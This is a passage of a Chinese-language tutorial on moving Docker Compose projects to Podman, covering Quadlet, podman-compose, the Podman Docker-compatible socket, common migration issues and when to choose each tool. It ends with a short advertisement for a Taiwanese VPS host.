Quadlet 也支援 .volume、.network、.pod 檔案類型，可以把完整的多容器架構用純宣告式的方式管理。如果是系統級的服務（需要 root），把檔案放到 /etc/containers/systemd/ 就好。

跟 Docker Compose 比起來，Quadlet 的優勢是跟作業系統的服務管理完全整合。你不需要記住 docker compose up -d 之後還要確認服務有沒有正確啟動，systemd 會處理所有的生命週期管理，包含開機啟動、失敗重試、資源限制和日誌收集。

從 Docker Compose 遷移

已經有一堆 docker-compose.yml 的專案怎麼辦？兩條路可以選。

用 podman-compose（低門檻）：

1
2

pip install podman-compose
podman-compose up -d

podman-compose 能直接讀取既有的 docker-compose.yml。大部分簡單到中等複雜度的 Compose 檔案可以直接跑，不需要修改。

用原生 Docker Compose + Podman socket（高相容性）：

Podman 可以啟動一個 Docker 相容的 API socket，讓 Docker Compose v2 直接對接：

1
2
3

systemctl --user enable --now podman.socket
export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/podman/podman.sock
docker compose up -d  # 這裡用的是原生 Docker Compose，但後端是 Podman

這種方式的相容性更高，因為你用的是正式的 Docker Compose binary，只是底層執行引擎換成了 Podman。複雜的 Compose 功能（build、healthcheck、depends_on condition）都能正常運作。

遷移時最常遇到的三個問題：

1. Image 名稱：Podman 預設要求完整的 registry 路徑，image: nginx 要改成 image: docker.io/library/nginx（或設定 unqualified-search-registries）
2. Volume 權限：rootless 模式下的 UID 映射可能導致檔案權限問題，加 :Z 或 userns_mode: keep-id 處理
3. 特權 port：rootless 模式下無法綁定 1024 以下的 port，需要調整 sysctl net.ipv4.ip_unprivileged_port_start=80 或改用 rootful 模式

什麼場景該用 Podman，什麼場景留在 Docker

建議直接用 Podman 的情境：全新的 Linux 伺服器部署、對安全有嚴格要求的環境（金融、醫療、政府）、RHEL/CentOS Stream 生態系（Podman 是原生工具）、以及跑在資源有限的 VPS 上的單機服務（少一支 daemon 就是少一份記憶體開銷）。

留在 Docker 比較合理的情境：團隊已經重度依賴 Docker Desktop 的 GUI 工作流、CI/CD pipeline 綁定了 Docker-in-Docker（DinD）、或者使用了 Docker Swarm（Podman 沒有對應的 orchestration 功能，不過這個需求通常該往 Kubernetes 走）。

兩者建出來的 image 完全相容——都是 OCI 標準格式。在開發機用 Docker 建 image，在生產伺服器用 Podman 跑，完全沒問題。

在 VPS 上部署容器化服務，底層硬體的穩定性直接影響運行品質。NCSE Network 提供搭載 Intel Gold CPU 與 NVMe SSD 的臺灣本地 VPS，機房位於是方電訊，適合需要低延遲、穩定網路的容器部署場景。更多資訊可到 ncse.tw 了解。